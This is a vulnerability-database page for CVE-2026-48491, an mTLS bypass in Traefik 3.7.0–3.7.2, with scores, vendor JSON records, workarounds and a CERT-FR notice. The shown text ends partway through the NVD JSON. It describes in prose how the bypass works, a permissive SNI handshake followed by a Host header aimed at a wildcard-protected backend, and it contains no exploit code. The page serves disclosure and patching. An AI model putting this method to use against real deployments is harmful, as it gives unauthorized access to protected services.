Vulnerability-Lookup

CVE-2026-48491 (GCVE-0-2026-48491)

Vulnerability from cvelistv5 – Published: 2026-06-23 19:12 – Updated: 2026-09-02 12:04

Title

Traefik: SNICheck ignores wildcard TLSOptions mappings, allowing domain-fronted mTLS bypass

Summary

Traefik is an HTTP reverse proxy and load balancer. From 3.7.0 until 3.7.3, there is a high severity vulnerability in Traefik's domain-fronting protection (SNICheck) that allows an unauthenticated client to bypass mutual TLS enforced through wildcard router TLSOptions. When a router uses a wildcard host rule such as Host(*.example.com) with stricter TLS options (for example RequireAndVerifyClientCert), SNICheck resolves the TLS options for the HTTP Host header using exact map lookups only and never applies wildcard matching. If another permissive SNI is served on the same entrypoint, an attacker can complete the TLS handshake under the permissive options and then send an HTTP Host header targeting the wildcard-protected backend, reaching it without presenting a client certificate. This affects the regular HTTPS / HTTP-2 path and does not require HTTP/3. This vulnerability is fixed in 3.7.3.

Severity

7.8 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N

9.1 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

SSVC

Exploitation: none Automatable: yes Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-06-24 14:31 UTC

CWE

CWE-288 - Authentication Bypass Using an Alternate Path or Channel
CWE-807 - Reliance on Untrusted Inputs in a Security Decision

Assigner

GitHub_M mitre root

References

6 references

URL	Tags
https://github.com/traefik/traefik/security/advis…	x_refsource_CONFIRM
https://github.com/traefik/traefik/releases/tag/v3.7.3	x_refsource_MISC
https://access.redhat.com/security/cve/CVE-2026-48491	vdb-entryx_refsource_REDHAT
https://bugzilla.redhat.com/show_bug.cgi?id=2491923	issue-trackingx_refsource_REDHAT
https://security.access.redhat.com/data/csaf/v2/v…	x_sadp-csaf-vex
https://access.redhat.com/errata/RHSA-2026:62260	vendor-advisoryx_refsource_REDHAT

Impacted products

2 products

Vendor	Product	Version	CPE status
traefik	traefik	Affected: >= 3.7.0, < 3.7.3	guessed
Red Hat	Red Hat OpenShift Dev Spaces 3.30	Unaffected: 1787756799 , < * (rpm) cpe:/a:redhat:openshift_devspaces:3.30::el9

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-48491",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-06-24T14:31:36.691139Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-06-24T14:31:59.477Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "collectionURL": "https://catalog.redhat.com/software/containers/",
            "cpes": [
              "cpe:/a:redhat:openshift_devspaces:3.30::el9"
            ],
            "defaultStatus": "affected",
            "packageName": "devspaces/traefik-rhel9",
            "product": "Red Hat OpenShift Dev Spaces 3.30",
            "vendor": "Red Hat",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "1787756799",
                "versionType": "rpm"
              }
            ]
          }
        ],
        "datePublic": "2026-06-23T19:12:10.819Z",
        "descriptions": [
          {
            "lang": "en",
            "value": "A flaw was found in Traefik, an HTTP reverse proxy and load balancer. This vulnerability allows an unauthenticated client to bypass mutual Transport Layer Security (TLS) enforcement, a security measure that verifies both client and server identities. The bypass occurs due to an issue in Traefik\u0027s domain-fronting protection (SNICheck), which incorrectly processes TLS options for HTTP Host headers. As a result, an attacker can gain unauthorized access to protected backend services without presenting a required client certificate."
          }
        ],
        "metrics": [
          {
            "other": {
              "content": {
                "namespace": "https://access.redhat.com/security/updates/classification/",
                "value": "Important"
              },
              "type": "Red Hat severity rating"
            }
          },
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "NETWORK",
              "availabilityImpact": "NONE",
              "baseScore": 9.1,
              "baseSeverity": "CRITICAL",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "HIGH",
              "privilegesRequired": "NONE",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
              "version": "3.1"
            },
            "format": "CVSS"
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-807",
                "description": "Reliance on Untrusted Inputs in a Security Decision",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-09-02T12:04:25.882Z",
          "orgId": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
          "shortName": "redhat-SADP"
        },
        "references": [
          {
            "tags": [
              "vdb-entry",
              "x_refsource_REDHAT"
            ],
            "url": "https://access.redhat.com/security/cve/CVE-2026-48491"
          },
          {
            "name": "RHBZ#2491923",
            "tags": [
              "issue-tracking",
              "x_refsource_REDHAT"
            ],
            "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2491923"
          },
          {
            "tags": [
              "x_sadp-csaf-vex"
            ],
            "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-48491.json"
          },
          {
            "tags": [
              "vendor-advisory",
              "x_refsource_REDHAT"
            ],
            "url": "https://access.redhat.com/errata/RHSA-2026:62260"
          }
        ],
        "solutions": [
          {
            "lang": "en",
            "value": "RHSA-2026:62260: Red Hat OpenShift Dev Spaces 3.30"
          }
        ],
        "timeline": [
          {
            "lang": "en",
            "time": "2026-06-23T20:01:26.461Z",
            "value": "Reported to Red Hat."
          },
          {
            "lang": "en",
            "time": "2026-06-23T19:12:10.819Z",
            "value": "Made public."
          }
        ],
        "title": "Traefik: Traefik: Unauthorized access due to mutual TLS bypass",
        "workarounds": [
          {
            "lang": "en",
            "value": "To mitigate this issue, avoid configuring Traefik with wildcard host rules (e.g., Host(*.example.com)) alongside strict TLS options such as RequireAndVerifyClientCert on entrypoints that also serve permissive SNI configurations. Alternatively, restrict network access to Traefik\u0027s entrypoints to trusted networks only, thereby limiting potential exposure."
          }
        ],
        "x_adpType": "supplier",
        "x_generator": {
          "engine": "sadp-cli 1.0.0"
        }
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "traefik",
          "vendor": "traefik",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 3.7.0, \u003c 3.7.3"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Traefik is an HTTP reverse proxy and load balancer. From 3.7.0 until 3.7.3, there is a high severity vulnerability in Traefik\u0027s domain-fronting protection (SNICheck) that allows an unauthenticated client to bypass mutual TLS enforced through wildcard router TLSOptions. When a router uses a wildcard host rule such as Host(*.example.com) with stricter TLS options (for example RequireAndVerifyClientCert), SNICheck resolves the TLS options for the HTTP Host header using exact map lookups only and never applies wildcard matching. If another permissive SNI is served on the same entrypoint, an attacker can complete the TLS handshake under the permissive options and then send an HTTP Host header targeting the wildcard-protected backend, reaching it without presenting a client certificate. This affects the regular HTTPS / HTTP-2 path and does not require HTTP/3. This vulnerability is fixed in 3.7.3."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 7.8,
            "baseSeverity": "HIGH",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "HIGH",
            "subIntegrityImpact": "HIGH",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "NONE",
            "vulnIntegrityImpact": "NONE"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-288",
              "description": "CWE-288: Authentication Bypass Using an Alternate Path or Channel",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-06-23T19:12:10.819Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/traefik/traefik/security/advisories/GHSA-5r4w-85f3-pw66",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/traefik/traefik/security/advisories/GHSA-5r4w-85f3-pw66"
        },
        {
          "name": "https://github.com/traefik/traefik/releases/tag/v3.7.3",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/traefik/traefik/releases/tag/v3.7.3"
        }
      ],
      "source": {
        "advisory": "GHSA-5r4w-85f3-pw66",
        "discovery": "UNKNOWN"
      },
      "title": "Traefik: SNICheck ignores wildcard TLSOptions mappings, allowing domain-fronted mTLS bypass"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-48491",
    "datePublished": "2026-06-23T19:12:10.819Z",
    "dateReserved": "2026-05-21T15:33:08.291Z",
    "dateUpdated": "2026-09-02T12:04:25.882Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-48491",
      "date": "2026-09-22",
      "epss": "0.00357",
      "percentile": "0.29528"
    },
    "nvd": {
      "cve": {
        "affected": [
          {
            "affectedData": [
              {
                "product": "traefik",
                "vendor": "traefik",
                "versions": [
                  {
                    "status": "affected",
                    "version": "\u003e= 3.7.0, \u003c 3.7.3"
                  }
                ]
              }
            ],
            "source": "security-advisories@github.com"
          },
          {
            "affectedData": [
              {
                "collectionURL": "https://catalog.redhat.com/software/containers/",
                "cpes": [
                  "cpe:/a:redhat:openshift_devspaces:3.30::el9"
                ],
                "defaultStatus": "affected",
                "packageName": "devspaces/traefik-rhel9",
                "product": "Red Hat OpenShift Dev Spaces 3.30",
                "vendor": "Red Hat",
                "versions": [
                  {
                    "lessThan": "*",
                    "status": "unaffected",
                    "version": "1787756799",
                    "versionType": "rpm"
                  }
                ]
              }
            ],
            "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c"
          }
        ],
        "configurations": [
          {
            "nodes": [
              {
                "cpeMatch": [
                  {
                    "criteria": "cpe:2.3:a:traefik:traefik:*:*:*:*:*:*:*:*",
                    "matchCriteriaId": "728EF4C3-8D0B-4DE3-8792-01EBE9425153",
                    "versionEndExcluding": "3.7.3",
                    "versionStartIncluding": "3.7.0",
                    "vulnerable": true
                  }
                ],
                "negate": false,
                "operator": "OR"
              }
            ]
          }
        ],
        "cveTags": [],
        "descriptions": [
          {
            "lang": "en",
            "value": "Traefik is an HTTP reverse proxy and load balancer. From 3.7.0 until 3.7.3, there is a high severity vulnerability in Traefik\u0027s domain-fronting protection (SNICheck) that allows an unauthenticated client to bypass mutual TLS enforced through wildcard router TLSOptions. When a router uses a wildcard host rule such as Host(*.example.com) with stricter TLS options (for example RequireAndVerifyClientCert), SNICheck resolves the TLS options for the HTTP Host header using exact map lookups only and never applies wildcard matching. If another permissive SNI is served on the same entrypoint, an attacker can complete the TLS handshake under the permissive options and then send an HTTP Host header targeting the wildcard-protected backend, reaching it without presenting a client certificate. This affects the regular HTTPS / HTTP-2 path and does not require HTTP/3. This vulnerability is fixed in 3.7.3."
          }
        ],
        "id": "CVE-2026-48491",
        "lastModified": "2026-09-02T13:17:59.610",
        "metrics": {
          "cvssMetricV31": [
            {
              "cvssData": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 10.0,
                "baseSeverity": "CRITICAL",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "HIGH",
                "privilegesRequired": "NONE",
                "scope": "CHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N",
                "version": "3.1"
              },
              "exploitabilityScore": 3.9,
              "impactScore": 5.8,
              "source": "nvd@nist.gov",
              "type": "Primary"
            },
            {
              "cvssData": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 9.1,
                "baseSeverity": "CRITICAL",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "HIGH",
                "privilegesRequired": "NONE",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
                "version": "3.1"
              },
              "exploitabilityScore": 3.9,
              "impactScore": 5.2,
              "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
              "type": "Secondary"
            }
          ],
          "cvssMetricV40": [
            {
              "cvssData": {
                "Automatable": "NOT_DEFINED",
                "Recovery": "NOT_DEFINED",
                "Safety": "NOT_DEFINED",
                "attackComplexity": "LOW",
                "attackRequirements": "NONE",
                "attackVector": "NETWORK",
                "availabilityRequirement": "NOT_DEFINED",
                "baseScore": 7.8,
                "baseSeverity": "HIGH",
                "confidentialityRequirement": "NOT_DEFINED",
                "exploitMaturity": "NOT_DEFINED",
                "integrityRequirement": "NOT_DEFINED",
                "modifiedAttackComplexity": "NOT_DEFINED",
                "modifiedAttackRequirements": "NOT_DEFINED",
                "modifiedAttackVector": "NOT_DEFINED",
                "modifiedPrivilegesRequired": "NOT_DEFINED",
                "modifiedSubAvailabilityImpact": "NOT_DEFINED",
                "modifiedSubConfidentialityImpact": "NOT_DEFINED",
                "modifiedSubIntegrityImpact": "NOT_DEFINED",
                "modifiedUserInteraction": "NOT_DEFINED",
                "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
                "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
                "modifiedVulnIntegrityImpact": "NOT_DEFINED",
                "privilegesRequired": "NONE",
                "providerUrgency": "NOT_DEFINED",
                "subAvailabilityImpact": "NONE",
                "subConfidentialityImpact": "HIGH",
                "subIntegrityImpact": "HIGH",
                "userInteraction": "NONE",
                "valueDensity": "NOT_DEFINED",
                "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
                "version": "4.0",
                "vulnAvailabilityImpact": "NONE",
                "vulnConfidentialityImpact": "NONE",
                "vulnIntegrityImpact": "NONE",
                "vulnerabilityResponseEffort": "NOT_DEFINED"
              },
              "source": "security-advisories@github.com",
              "type": "Secondary"
            }
          ],
          "ssvcV203": [
            {
              "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "ssvcData": {
                "id": "CVE-2026-48491",
                "options": [
                  {
                    "exploitation": "none"
                  },
                  {
                    "automatable": "yes"
                  },
                  {
                    "technicalImpact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-06-24T14:31:36.691139Z",
                "version": "2.0.3"
              }
            }
          ]
        },
        "published": "2026-06-23T20:16:48.123",
        "references": [
          {
            "source": "security-advisories@github.com",
            "tags": [
              "Patch",
              "Release Notes"
            ],
            "url": "https://github.com/traefik/traefik/releases/tag/v3.7.3"
          },
          {
            "source": "security-advisories@github.com",
            "tags": [
              "Exploit",
              "Mailing List",
              "Patch",
              "Vendor Advisory"
            ],
            "url": "https://github.com/traefik/traefik/security/advisories/GHSA-5r4w-85f3-pw66"
          },
          {
            "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
            "url": "https://access.redhat.com/errata/RHSA-2026:62260"
          },
          {
            "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
            "url": "https://access.redhat.com/security/cve/CVE-2026-48491"
          },
          {
            "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
            "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2491923"
          },
          {
            "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
            "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-48491.json"
          }
        ],
        "sourceIdentifier": "security-advisories@github.com",
        "vulnStatus": "Modified",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-288"
              }
            ],
            "source": "security-advisories@github.com",
            "type": "Secondary"
          },
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-807"
              }
            ],
            "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
            "type": "Secondary"
          }
        ]
      }
    },
    "redhat_vex": {
      "aggregate_severity": "Important",
      "current_release_date": "2026-09-01T18:33:38+00:00",
      "cve": "CVE-2026-48491",
      "id": "CVE-2026-48491",
      "initial_release_date": "2026-06-23T19:12:10.819000+00:00",
      "product_status:fixed": "4",
      "product_status:known_not_affected": "61",
      "source": "Red Hat CSAF VEX",
      "status": "final",
      "title": "Traefik: Traefik: Unauthorized access due to mutual TLS bypass",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-48491.json",
      "version": "3"
    },
    "suse_vex": {
      "aggregate_severity": "critical",
      "current_release_date": "2026-06-27T01:56:02Z",
      "cve": "CVE-2026-48491",
      "id": "CVE-2026-48491",
      "initial_release_date": "2026-06-19T01:50:30Z",
      "product_status:recommended": "1",
      "source": "SUSE CSAF VEX",
      "status": "interim",
      "title": "SUSE CVE CVE-2026-48491",
      "url": "https://ftp.suse.com/pub/projects/security/csaf-vex/cve-2026-48491.json",
      "version": "4"
    },
    "vulnrichment": {
      "containers": {
        "adp": [
          {
            "affected": [
              {
                "collectionURL": "https://catalog.redhat.com/software/containers/",
                "cpes": [
                  "cpe:/a:redhat:openshift_devspaces:3.30::el9"
                ],
                "defaultStatus": "affected",
                "packageName": "devspaces/traefik-rhel9",
                "product": "Red Hat OpenShift Dev Spaces 3.30",
                "vendor": "Red Hat",
                "versions": [
                  {
                    "lessThan": "*",
                    "status": "unaffected",
                    "version": "1787756799",
                    "versionType": "rpm"
                  }
                ]
              }
            ],
            "datePublic": "2026-06-23T19:12:10.819Z",
            "descriptions": [
              {
                "lang": "en",
                "value": "A flaw was found in Traefik, an HTTP reverse proxy and load balancer. This vulnerability allows an unauthenticated client to bypass mutual Transport Layer Security (TLS) enforcement, a security measure that verifies both client and server identities. The bypass occurs due to an issue in Traefik\u0027s domain-fronting protection (SNICheck), which incorrectly processes TLS options for HTTP Host headers. As a result, an attacker can gain unauthorized access to protected backend services without presenting a required client certificate."
              }
            ],
            "metrics": [
              {
                "other": {
                  "content": {
                    "namespace": "https://access.redhat.com/security/updates/classification/",
                    "value": "Important"
                  },
                  "type": "Red Hat severity rating"
                }
              },
              {
                "cvssV3_1": {
                  "attackComplexity": "LOW",
                  "attackVector": "NETWORK",
                  "availabilityImpact": "NONE",
                  "baseScore": 9.1,
                  "baseSeverity": "CRITICAL",
                  "confidentialityImpact": "HIGH",
                  "integrityImpact": "HIGH",
                  "privilegesRequired": "NONE",
                  "scope": "UNCHANGED",
                  "userInteraction": "NONE",
                  "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
                  "version": "3.1"
                },
                "format": "CVSS"
              }
            ],
            "problemTypes": [
              {
                "descriptions": [
                  {
                    "cweId": "CWE-807",
                    "description": "Reliance on Untrusted Inputs in a Security Decision",
                    "lang": "en",
                    "type": "CWE"
                  }
                ]
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-09-02T12:04:25.882Z",
              "orgId": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
              "shortName": "redhat-SADP"
            },
            "references": [
              {
                "tags": [
                  "vdb-entry",
                  "x_refsource_REDHAT"
                ],
                "url": "https://access.redhat.com/security/cve/CVE-2026-48491"
              },
              {
                "name": "RHBZ#2491923",
                "tags": [
                  "issue-tracking",
                  "x_refsource_REDHAT"
                ],
                "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2491923"
              },
              {
                "tags": [
                  "x_sadp-csaf-vex"
                ],
                "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-48491.json"
              },
              {
                "tags": [
                  "vendor-advisory",
                  "x_refsource_REDHAT"
                ],
                "url": "https://access.redhat.com/errata/RHSA-2026:62260"
              }
            ],
            "solutions": [
              {
                "lang": "en",
                "value": "RHSA-2026:62260: Red Hat OpenShift Dev Spaces 3.30"
              }
            ],
            "timeline": [
              {
                "lang": "en",
                "time": "2026-06-23T20:01:26.461Z",
                "value": "Reported to Red Hat."
              },
              {
                "lang": "en",
                "time": "2026-06-23T19:12:10.819Z",
                "value": "Made public."
              }
            ],
            "title": "Traefik: Traefik: Unauthorized access due to mutual TLS bypass",
            "workarounds": [
              {
                "lang": "en",
                "value": "To mitigate this issue, avoid configuring Traefik with wildcard host rules (e.g., Host(*.example.com)) alongside strict TLS options such as RequireAndVerifyClientCert on entrypoints that also serve permissive SNI configurations. Alternatively, restrict network access to Traefik\u0027s entrypoints to trusted networks only, thereby limiting potential exposure."
              }
            ],
            "x_adpType": "supplier",
            "x_generator": {
              "engine": "sadp-cli 1.0.0"
            }
          },
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-48491",
                    "options": [
                      {
                        "Exploitation": "none"
                      },
                      {
                        "Automatable": "yes"
                      },
                      {
                        "Technical Impact": "total"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-06-24T14:31:36.691139Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-06-24T14:31:56.247Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "product": "traefik",
              "vendor": "traefik",
              "versions": [
                {
                  "status": "affected",
                  "version": "\u003e= 3.7.0, \u003c 3.7.3"
                }
              ]
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "Traefik is an HTTP reverse proxy and load balancer. From 3.7.0 until 3.7.3, there is a high severity vulnerability in Traefik\u0027s domain-fronting protection (SNICheck) that allows an unauthenticated client to bypass mutual TLS enforced through wildcard router TLSOptions. When a router uses a wildcard host rule such as Host(*.example.com) with stricter TLS options (for example RequireAndVerifyClientCert), SNICheck resolves the TLS options for the HTTP Host header using exact map lookups only and never applies wildcard matching. If another permissive SNI is served on the same entrypoint, an attacker can complete the TLS handshake under the permissive options and then send an HTTP Host header targeting the wildcard-protected backend, reaching it without presenting a client certificate. This affects the regular HTTPS / HTTP-2 path and does not require HTTP/3. This vulnerability is fixed in 3.7.3."
            }
          ],
          "metrics": [
            {
              "cvssV4_0": {
                "attackComplexity": "LOW",
                "attackRequirements": "NONE",
                "attackVector": "NETWORK",
                "baseScore": 7.8,
                "baseSeverity": "HIGH",
                "privilegesRequired": "NONE",
                "subAvailabilityImpact": "NONE",
                "subConfidentialityImpact": "HIGH",
                "subIntegrityImpact": "HIGH",
                "userInteraction": "NONE",
                "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N",
                "version": "4.0",
                "vulnAvailabilityImpact": "NONE",
                "vulnConfidentialityImpact": "NONE",
                "vulnIntegrityImpact": "NONE"
              }
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-288",
                  "description": "CWE-288: Authentication Bypass Using an Alternate Path or Channel",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-06-23T19:12:10.819Z",
            "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
            "shortName": "GitHub_M"
          },
          "references": [
            {
              "name": "https://github.com/traefik/traefik/security/advisories/GHSA-5r4w-85f3-pw66",
              "tags": [
                "x_refsource_CONFIRM"
              ],
              "url": "https://github.com/traefik/traefik/security/advisories/GHSA-5r4w-85f3-pw66"
            },
            {
              "name": "https://github.com/traefik/traefik/releases/tag/v3.7.3",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/traefik/traefik/releases/tag/v3.7.3"
            }
          ],
          "source": {
            "advisory": "GHSA-5r4w-85f3-pw66",
            "discovery": "UNKNOWN"
          },
          "title": "Traefik: SNICheck ignores wildcard TLSOptions mappings, allowing domain-fronted mTLS bypass"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2026-48491",
        "datePublished": "2026-06-23T19:12:10.819Z",
        "dateReserved": "2026-05-21T15:33:08.291Z",
        "dateUpdated": "2026-09-02T12:04:25.882Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

CERTFR-2026-AVI-0690

Vulnerability from certfr_avis - Published: 2026-06-05 - Updated: 2026-06-05

De multiples vulnérabilités ont été découvertes dans Traefik. Elles permettent à un attaquant de provoquer un contournement de la politique de sécurité.

Solutions

Se référer au bulletin de sécurité de l'éditeur pour l'obtention des correctifs (cf. section Documentation).

Impacted products

Vendor	Product	Description
Traefik	Traefik	Traefik versions v3.6.x antérieures à v3.6.19
Traefik	Traefik	Traefik versions v2.11.x antérieures à v2.11.48
Traefik	Traefik	Traefik versions v3.7.x antérieures à v3.7.3

References

Title

Publication Time

FKIE_CVE-2026-48491

Vulnerability from fkie_nvd - Published: 2026-06-23 20:16 - Updated: 2026-09-02 13:17

Severity

10.0 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
9.1 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/traefik/traefik/releases/tag/v3.7.3	Patch, Release Notes
security-advisories@github.com	https://github.com/traefik/traefik/security/advisories/GHSA-5r4w-85f3-pw66	Exploit, Mailing List, Patch, Vendor Advisory
0b0ca135-0b70-47e7-9f44-1890c2a1c46c	https://access.redhat.com/errata/RHSA-2026:62260
0b0ca135-0b70-47e7-9f44-1890c2a1c46c	https://access.redhat.com/security/cve/CVE-2026-48491
0b0ca135-0b70-47e7-9f44-1890c2a1c46c	https://bugzilla.redhat.com/show_bug.cgi?id=2491923
0b0ca135-0b70-47e7-9f44-1890c2a1c46c	https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-48491.json

Impacted products

	Vendor	Product	Version
	traefik	traefik	*

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "traefik",
          "vendor": "traefik",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 3.7.0, \u003c 3.7.3"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    },
    {
      "affectedData": [
        {
          "collectionURL": "https://catalog.redhat.com/software/containers/",
          "cpes": [
            "cpe:/a:redhat:openshift_devspaces:3.30::el9"
          ],
          "defaultStatus": "affected",
          "packageName": "devspaces/traefik-rhel9",
          "product": "Red Hat OpenShift Dev Spaces 3.30",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "1787756799",
              "versionType": "rpm"
            }
          ]
        }
      ],
      "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:traefik:traefik:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "728EF4C3-8D0B-4DE3-8792-01EBE9425153",
              "versionEndExcluding": "3.7.3",
              "versionStartIncluding": "3.7.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Traefik is an HTTP reverse proxy and load balancer. From 3.7.0 until 3.7.3, there is a high severity vulnerability in Traefik\u0027s domain-fronting protection (SNICheck) that allows an unauthenticated client to bypass mutual TLS enforced through wildcard router TLSOptions. When a router uses a wildcard host rule such as Host(*.example.com) with stricter TLS options (for example RequireAndVerifyClientCert), SNICheck resolves the TLS options for the HTTP Host header using exact map lookups only and never applies wildcard matching. If another permissive SNI is served on the same entrypoint, an attacker can complete the TLS handshake under the permissive options and then send an HTTP Host header targeting the wildcard-protected backend, reaching it without presenting a client certificate. This affects the regular HTTPS / HTTP-2 path and does not require HTTP/3. This vulnerability is fixed in 3.7.3."
    }
  ],
  "id": "CVE-2026-48491",
  "lastModified": "2026-09-02T13:17:59.610",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 10.0,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 5.8,
        "source": "nvd@nist.gov",
        "type": "Primary"
      },
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 9.1,
